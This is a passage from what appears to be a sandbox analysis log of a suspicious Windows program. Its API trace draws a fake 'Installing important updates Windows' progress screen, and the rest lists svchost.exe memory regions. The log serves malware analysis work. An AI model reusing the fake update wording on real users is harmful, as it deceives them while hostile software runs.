hWnd=0x50120, lpRect=0x31f430 | out: lpRect=0x31f430) returned 1 [0060.545] MoveWindow (hWnd=0x301c2, X=0, Y=0, nWidth=402, nHeight=202, bRepaint=1) returned 1 [0060.548] NtdllDefWindowProc_W () returned 0x0 [0060.548] SetWindowPos (hWnd=0x50120, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0060.548] NtdllDefWindowProc_W () returned 0x0 [0060.549] NtdllDefWindowProc_W () returned 0x0 [0060.549] NtdllDefWindowProc_W () returned 0x0 [0060.549] NtdllDefWindowProc_W () returned 0x1 [0060.698] NtdllDefWindowProc_W () returned 0x0 [0060.751] NtdllDefWindowProc_W () returned 0x0 [0060.752] NtdllDefWindowProc_W () returned 0x0 [0060.753] NtdllDefWindowProc_W () returned 0x0 [0060.753] ShowWindow (hWnd=0x50120, nCmdShow=1) returned 0 [0060.753] NtdllDefWindowProc_W () returned 0x0 [0060.753] NtdllDefWindowProc_W () returned 0x0 [0060.756] NtdllDefWindowProc_W () returned 0x0 [0060.757] NtdllDefWindowProc_W () returned 0x1 [0060.758] NtdllDefWindowProc_W () returned 0x0 [0060.760] NtdllDefWindowProc_W () returned 0x0 [0060.761] NtdllDefWindowProc_W () returned 0x0 [0060.763] NtdllDefWindowProc_W () returned 0x1 [0060.763] NtdllDefWindowProc_W () returned 0x0 [0060.763] NtdllDefWindowProc_W () returned 0x0 [0060.763] UpdateWindow (hWnd=0x50120) returned 1 [0060.763] BeginPaint (in: hWnd=0x50120, lpPaint=0x31f848 | out: lpPaint=0x31f848) returned 0x690101c7 [0060.766] EndPaint (hWnd=0x50120, lpPaint=0x31f848) returned 1 [0060.766] BeginPaint (in: hWnd=0x301c2, lpPaint=0x31ef30 | out: lpPaint=0x31ef30) returned 0x690101c7 [0060.767] CreateSolidBrush (color=0x5b3ef) returned 0x291007fe [0060.767] FillRect (hDC=0x690101c7, lprc=0x31ef20, hbr=0x291007fe) returned 1 [0060.864] DeleteObject (ho=0x291007fe) returned 1 [0060.864] DrawIcon (hDC=0x690101c7, X=7, Y=7, hIcon=0x401ab) returned 1 [0060.937] CreateFontW (cHeight=-19, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x5a0a0801 [0060.937] SelectObject (hdc=0x690101c7, h=0x5a0a0801) returned 0x18a002e [0060.937] SetBkMode (hdc=0x690101c7, mode=1) returned 2 [0060.945] lstrlenW (lpString="Installing important updates Windows.") returned 37 [0060.945] TextOutW (hdc=0x690101c7, x=55, y=10, lpString="Installing important updates Windows.", c=37) returned 1 [0061.076] SelectObject (hdc=0x690101c7, h=0x18a002e) returned 0x5a0a0801 [0061.076] CreateSolidBrush (color=0xffffff) returned 0x2a1007fe [0061.076] FillRect (hDC=0x690101c7, lprc=0x31ef10, hbr=0x2a1007fe) returned 1 [0061.076] DeleteObject (ho=0x2a1007fe) returned 1 [0061.076] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x4c0a07ff [0061.111] SelectObject (hdc=0x690101c7, h=0x4c0a07ff) returned 0x18a002e [0061.111] SetBkMode (hdc=0x690101c7, mode=1) returned 1 [0061.111] lstrlenW (lpString="Getting your update ready.") returned 26 [0061.111] TextOutW (hdc=0x690101c7, x=52, y=60, lpString="Getting your update ready.", c=26) returned 1 [0061.112] lstrlenW (lpString="Configuring update for Windows.") returned 31 [0061.112] TextOutW (hdc=0x690101c7, x=52, y=77, lpString="Configuring update for Windows.", c=31) returned 1 [0061.112] lstrlenW (lpString="Don't turn off your computer or close it.") returned 41 [0061.112] TextOutW (hdc=0x690101c7, x=52, y=94, lpString="Don't turn off your computer or close it.", c=41) returned 1 [0061.112] SelectObject (hdc=0x690101c7, h=0x18a002e) returned 0x4c0a07ff [0061.112] CreateFontW (cHeight=-15, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x2b0a0791 [0061.113] SelectObject (hdc=0x690101c7, h=0x2b0a0791) returned 0x18a002e [0061.113] SetBkMode (hdc=0x690101c7, mode=1) returned 1 [0061.113] SetTextAlign (hdc=0x690101c7, align=0x6) returned 0x0 [0061.113] wsprintfW (in: param_1=0x31ef70, param_2="Percent complete: %i%%" | out: param_1="Percent complete: 4%") returned 20 [0061.113] lstrlenW (lpString="Percent complete: 4%") returned 20 [0061.113] TextOutW (hdc=0x690101c7, x=209, y=111, lpString="Percent complete: 4%", c=20) returned 1 [0061.471] SelectObject (hdc=0x690101c7, h=0x18a002e) returned 0x2b0a0791 [0061.471] EndPaint (hWnd=0x301c2, lpPaint=0x31ef30) returned 1 [0061.880] LoadAcceleratorsW (hInstance=0x10d0000, lpTableName=0x6d) returned 0x501a1 [0061.880] GetMessageW (in: lpMsg=0x31fa68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x31fa68) returned 1 [0061.880] NtdllDefWindowProc_W () returned 0x0 [0061.881] NtdllDefWindowProc_W () returned 0x0 [0061.881] NtdllDefWindowProc_W () returned 0x0 [0061.881] TranslateAcceleratorW (hWnd=0x0, hAccTable=0x501a1, lpMsg=0x31fa68) returned 0 [0061.881] TranslateMessage (lpMsg=0x31fa68) returned 0 [0061.881] DispatchMessageW (lpMsg=0x31fa68) returned 0x0 [0061.881] GetMessageW (in: lpMsg=0x31fa68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x31fa68) returned 1 [0061.881] TranslateAcceleratorW (hWnd=0x301be, hAccTable=0x501a1, lpMsg=0x31fa68) returned 0 [0061.881] TranslateMessage (lpMsg=0x31fa68) returned 0 [0061.881] DispatchMessageW (lpMsg=0x31fa68) returned 0x0 [0061.976] GetMessageW (in: lpMsg=0x31fa68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x31fa68) returned 1 [0061.976] TranslateAcceleratorW (hWnd=0x301be, hAccTable=0x501a1, lpMsg=0x31fa68) returned 0 [0061.976] TranslateMessage (lpMsg=0x31fa68) returned 0 [0061.976] DispatchMessageW (lpMsg=0x31fa68) returned 0x0 [0061.977] GetMessageW (in: lpMsg=0x31fa68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x31fa68) returned 1 [0061.977] TranslateAcceleratorW (hWnd=0x301cc, hAccTable=0x501a1, lpMsg=0x31fa68) returned 0 [0061.977] TranslateMessage (lpMsg=0x31fa68) returned 0 [0061.977] DispatchMessageW (lpMsg=0x31fa68) returned 0x0 [0061.977] GetMessageW (in: lpMsg=0x31fa68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x31fa68) returned 1 [0061.977] TranslateAcceleratorW (hWnd=0x301be, hAccTable=0x501a1, lpMsg=0x31fa68) returned 0 [0061.977] TranslateMessage (lpMsg=0x31fa68) returned 0 [0061.977] DispatchMessageW (lpMsg=0x31fa68) returned 0x0 [0061.977] GetMessageW (lpMsg=0x31fa68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0061.995] NtdllDefWindowProc_W () returned 0x1 [0061.995] NtdllDefWindowProc_W () returned 0x1 [0062.001] NtdllDefWindowProc_W () returned 0x1 [0062.002] NtdllDefWindowProc_W () returned 0x0 [0062.002] NtdllDefWindowProc_W () returned 0x0 [0062.003] NtdllDefWindowProc_W () returned 0x2 [0062.003] NtdllDefWindowProc_W () returned 0x0 Thread: id = 55 os_tid = 0xa20 [0060.693] timeGetTime () returned 0x1bd84 [0060.693] timeGetTime () returned 0x1bd84 [0060.693] Sleep (dwMilliseconds=0x3e8) [0061.932] timeGetTime () returned 0x1c244 [0061.932] timeGetTime () returned 0x1c244 [0061.932] Sleep (dwMilliseconds=0x3e8) Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa70c000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x3fc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2ef" [0xc000000f], "LOCAL" [0x7] Region: id = 1205 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1206 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1207 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1208 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1209 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1210 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1211 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1212 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1213 start_va = 0x250000 end_va = 0x30ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 1214 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1215 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1216 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 1217 start_va = 0x340000 end_va = 0x340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 1218 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1219 start_va = 0x360000 end_va = 0x360fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 1220 start_va = 0x370000 end_va = 0x370fff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1221 start_va = 0x380000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1222 start_va = 0x390000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1223 start_va = 0x490000 end_va = 0x4a9fff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 1224 start_va = 0x4b0000 end_va = 0x4b0fff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 1225 start_va = 0x4c0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1226 start_va = 0x4d0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 1227 start_va = 0x4e0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 1228 start_va = 0x4f0000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 1229 start_va = 0x570000 end_va = 0x57ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 1230 start_va = 0x580000 end_va = 0x58ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1231 start_va = 0x590000 end_va = 0x59ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1232 start_va = 0x5a0000 end_va = 0x5affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 1233 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1234 start_va = 0x5c0000 end_va = 0x5cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1235 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1236 start_va = 0x5e0000 end_va = 0x5e1fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 1237 start_va = 0x5f0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 1238 start_va = 0x600000 end_va = 0x787fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1239 start_va = 0x790000 end_va = 0x910fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1240 start_va = 0x920000 end_va = 0xd12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 1241 start_va = 0xd20000 end_va = 0xd2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 1242 start_va = 0xd30000 end_va = 0xd3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 1243 start_va = 0xd40000 end_va = 0xd4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 1244 start_va = 0xd50000 end_va = 0xd5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 1245 start_va = 0xd60000 end_va = 0xd6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 1246 start_va = 0xd70000 end_va = 0xd7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d70000" filename = "" Region: id = 1247 start_va = 0xd80000 end_va = 0xd84fff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 1248 start_va = 0xd90000 end_va = 0xe0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 1249 start_va = 0xe10000 end_va = 0xecffff entry_point = 0xe10000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1250 start_va = 0xed0000 end_va = 0xed0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 1251 start_va = 0xee0000 end_va = 0xf5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 1252 start_va = 0xf60000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 1253 start_va = 0xf70000 end_va = 0xfeffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 1254 start_va = 0xff0000 end_va = 0xff0fff entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1255 start_va = 0x1000000 end_va = 0x100ffff entry_point = 0x1000000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1256 start_va = 0x1010000 end_va = 0x108ffff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 1257 start_va = 0x1090000 end_va = 0x109ffff entry_point = 0x1090000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1258 start_va = 0x10a0000 end_va = 0x10affff entry_point = 0x10a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1259 start_va = 0x10b0000 end_va = 0x137efff entry_point = 0x10b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1260 start_va = 0x1380000 end_va = 0x138ffff entry_point = 0x1380000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1261 start_va = 0x1390000 end_va = 0x139ffff entry_point = 0x1390000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1262 start_va = 0x13a0000 end_va = 0x13affff entry_point = 0x13a0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1263 start_va = 0x13b0000 end_va = 0x13bffff entry_point = 0x13b0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1264 start_va = 0x13c0000 end_va = 0x13cffff entry_point = 0x13c0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1265 start_va = 0x13d0000 end_va = 0x13dffff entry_point = 0x13d0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1266 start_va = 0x13e0000 end_va = 0x13effff entry_point = 0x13e0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1267 start_va = 0x13f0000 end_va = 0x13fffff entry_point = 0x13f0000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1268 start_va = 0x1400000 end_va = 0x147ffff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1269 start_va = 0x1480000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 1270 start_va = 0x1500000 end_va = 0x157ffff entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1271 start_va = 0x1580000 end_va = 0x158ffff entry_point = 0x1580000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1272 start_va = 0x1590000 end_va = 0x160ffff entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 1273 start_va = 0x1610000 end_va = 0x168ffff entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 1274 start_va = 0x1690000 end_va = 0x169ffff entry_point = 0x1690000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1275 start_va = 0x16a0000 end_va = 0x171ffff entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 1276 start_va = 0x1720000 end_va = 0x172ffff entry_point = 0x1720000 region_type = mapped_file name = "catdb" filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb") Region: id = 1277 start_va = 0x1730000 end_va = 0x173ffff entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 1278 start_va = 0x1740000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 1279 start_va = 0x1750000 end_va = 0x175ffff entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 1280 start_va = 0x1760000 end_va = 0x176ffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 1281 start_va = 0x1770000 end_va = 0x17effff entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 1282 start_va = 0x17f0000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x00000000017f0000" filename = "" Region: id = 1283 start_va = 0x18f0000 end_va = 0x18fffff entry_point = 0x0 region_type = private name = "private_0x00000000018f0000" filename = "" Region: id = 1284 start_va = 0x1950000 end_va = 0x195ffff entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 1285 start_va = 0x1980000 end_va = 0x1980fff entry_point = 0x0 region_type = private name = "private_0x0000000001980000" filename = "" Region: id = 1286 start_va = 0x1990000 end_va = 0x1a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001990000" filename = "" Region: id = 1287 start_va = 0x1a10000 end_va = 0x1a10fff entry_point = 0x0 region_type = private name = "private_0x0000000001a10000" filename = "" Region: id = 1288 start_va = 0x1a20000 end_va = 0x1a2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a20000" filename = "" Region: id = 1289 start_va = 0x1a50000 end_va = 0x1acffff entry_point = 0x0 region_type = private name = "private_0x0000000001a50000" filename = "" Region: id = 1290 start_va = 0x1b00000 end_va = 0x1bfffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 1291 start_va = 0x1c00000 end_va = 0x1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 1292 start_va = 0x1c80000 end_va = 0x1d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 1293 start_va = 0x1db0000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 1294 start_va = 0x1e20000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 1295 start_va = 0x1ea0000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1296 start_va = 0x1fa0000 end_va = 0x209ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 1297 start_va = 0x2110000 end_va = 0x211ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 1298 start_va = 0x2140000 end_va = 0x21bffff entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 1299 start_va = 0x21c0000 end_va = 0x22bffff entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 1300 start_va = 0x22c0000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 1301 start_va = 0x2410000 end_va = 0x260ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1302 start_va = 0x2610000 end_va = 0x360ffff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 1303 start_va = 0x36b0000 end_va = 0x372ffff entry_point = 0x0 region_type = private name = "private_0x00000000036b0000" filename = "" Region: id = 1304 start_va = 0x3730000 end_va = 0x37affff entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 1305 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1306 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1307 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1308 start_va = 0x77830000 end_va = 0x77836fff entry_point = 0x77830000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1309 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1310 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1311 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1312 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1313 start_va = 0x7fef46c0000 end_va = 0x7fef4939fff entry_point = 0x7fef46c0000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1314 start_va = 0x7fef77e0000 end_va = 0x7fef77f0fff entry_point = 0x7fef77e0000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1315 start_va = 0x7fef7800000 end_va = 0x7fef7863fff entry_point = 0x7fef7800000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1316 start_va = 0x7fef7870000 end_va = 0x7fef78e0fff entry_point = 0x7fef7870000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1317 start_va = 0x7fef78f0000 end_va = 0x7fef7927fff entry_point = 0x7fef78f0000 region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 1318 start_va = 0x7fef7930000 end_va = 0x7fef797dfff entry_point = 0x7fef7930000 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll") Region: id = 1319 start_va = 0x7fef79b0000 end_va = 0x7fef79c6fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1320 start_va = 0x7fef79d0000 end_va = 0x7fef7b7ffff entry_point = 0x7fef79d0000 region_type = mapped_file name = 